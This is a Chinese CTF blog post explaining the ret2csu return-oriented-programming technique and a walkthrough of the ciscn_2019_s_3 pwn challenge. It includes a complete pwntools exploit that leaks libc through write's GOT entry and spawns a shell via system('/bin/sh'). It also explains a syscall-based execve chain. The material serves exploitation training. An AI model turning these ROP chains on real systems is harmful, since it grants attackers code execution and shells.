ret2csu 原创
ret2csu
个人见解
-
csu实际上是基于libc的一种泄露函数基地址的做法,其原理还是基于rop链的构造。大多时候我们难以找到每个寄存器对应的gadgets,但是当我们遇到wirte函数泄露的时候却必须要控制三个寄存器(64位首先存入数据的rdi,rsi,rdx),这时候,我们就可以利用 x64 下的 __libc_csu_init 中的 gadgets
-
这个函数是用来对libc进行初始化操作的,所以这个函数一般都会存在。而我们所利用的是函数的两块区域。
可以看到我们需要的三个寄存器分别被r14,r13,r12所赋值,而我们的gadget2可以操控这三个寄存器的值。那么我们的思路就很清晰了。
先通过gadget2修改寄存器值,返回到gadget把我们需要的寄存器值赋值,然后call write打印基地址,最后执行到gadget2
retn到我们需要溢出的函数地址。
exp:
from LibcSearcher import * from pwn import * io = process('64') elf = ELF('./64') context.arch = 'amd64' context.log_level = 'debug' padding = 0x8 + 8 write_plt = elf.plt['write'] write_got = elf.got['write'] gadget1 = 0x4011D8 gadget2 = 0x4011F2 rdi_ret = 0x4011fb dofunc = elf.sym['dofunc'] payload = flat([b'a'*padding,gadget2,0,1,1,write_got,8,write_got,gadget1]) payload += p64(0xdeadbeef)*7 payload += p64(dofunc) io.sendlineafter("input:",payload) real_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libc = LibcSearcher('write',real_addr) libc_base = real_addr - libc.dump('write') sys_addr = libc.dump('system') + libc_base binsh = libc.dump('str_bin_sh') + libc_base ret = 0x401016 payload2 = flat([b'a'*padding,ret,rdi_ret,binsh,sys_addr]) io.sendlineafter("input:",payload2) io.interactive()
注:32位一般不会出现scu,因为其传参无需寄存器来存储,直接在栈上操作即可
接下来我以buu的ciscn_2019_s_3为例题来融汇贯通一下
Ciscn_s_3
题目概括:
此题涉及到了ret2sycall和寄存器修改(可以视为csu)
首先我们发现这是一个静态连接,所以不是普通的libc,需要我们自己去给buff里面写入/bin/sh\x00,并且找出buff的最低地址位置。这里需要使用gbd查看
aaaaaaaa的位置在0x7fffffffde60,而write能从地址0x7fffffffde60输出到地址0x7fffffffde80,这里边的内容,发现有疑似栈的数据0x00007fffffffdf78,所以有bin_sh_addr = 栈的基地址 - 0x118。那我们利用read向栈上写/bin/sh字符串,再用write进行泄露/bin/sh的地址。
也就是说,因为write打印的话,是先从栈的低地址打印,再打印高地址的内容,那么先打印0x20的数据,再打印0x8的数据就是栈的基地址,再减去0x118就获得 /bin/sh的地址
这样我们就成功写入了/bin/sh
同时我们在gatgets中发现rax被赋予了56的值,这是execve的启动标志。所以这题我们可以使用callsys来获取shell
接着我们在csu函数中发现了我们需要的两个寄存器rdx和rsi,他们分别被r13和r14赋值
所以我们用kali ROPgadgets刚好发现有这三个寄存器,
并且我们还要让rbp的值与rbx相同(为1)一举两得
并且r15对应的是edi是rdi的低四节,所以并不能通过r15导入bin_sh,需要额外写入
最后我们构造ROP链即可
最后还要注意的是,我们给r12赋值了bin_sh+0x8(0x50也可以·),这是因为
在执行0x400589的时候会跳转到r12+rbx*8指向的地址去,而rbx为0,所以我们可以修改r12的值从而继续跳转,同时也绕过了cmp指令,所以我们的rbp便不强求必须为1了。
ps:0x8是跳到了pop_rdi的位置,而0x50则是mov_rax,两者虽然执行的东西不同,但都是为了获取retn函数,从而实现继续跳转。
本题要求能够将之前的知识融会贯通,同时,我们也要求能够知道一些汇编语言意思
还有gbd调试的熟练度与观察能力
本文来自博客园,作者:T_FIRE,转载请注明原文链接:https://www.cnblogs.com/TFIRE/p/18451032
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 单元测试从入门到精通
· 上周热点回顾(3.3-3.9)
· Vue3状态管理终极指南:Pinia保姆级教程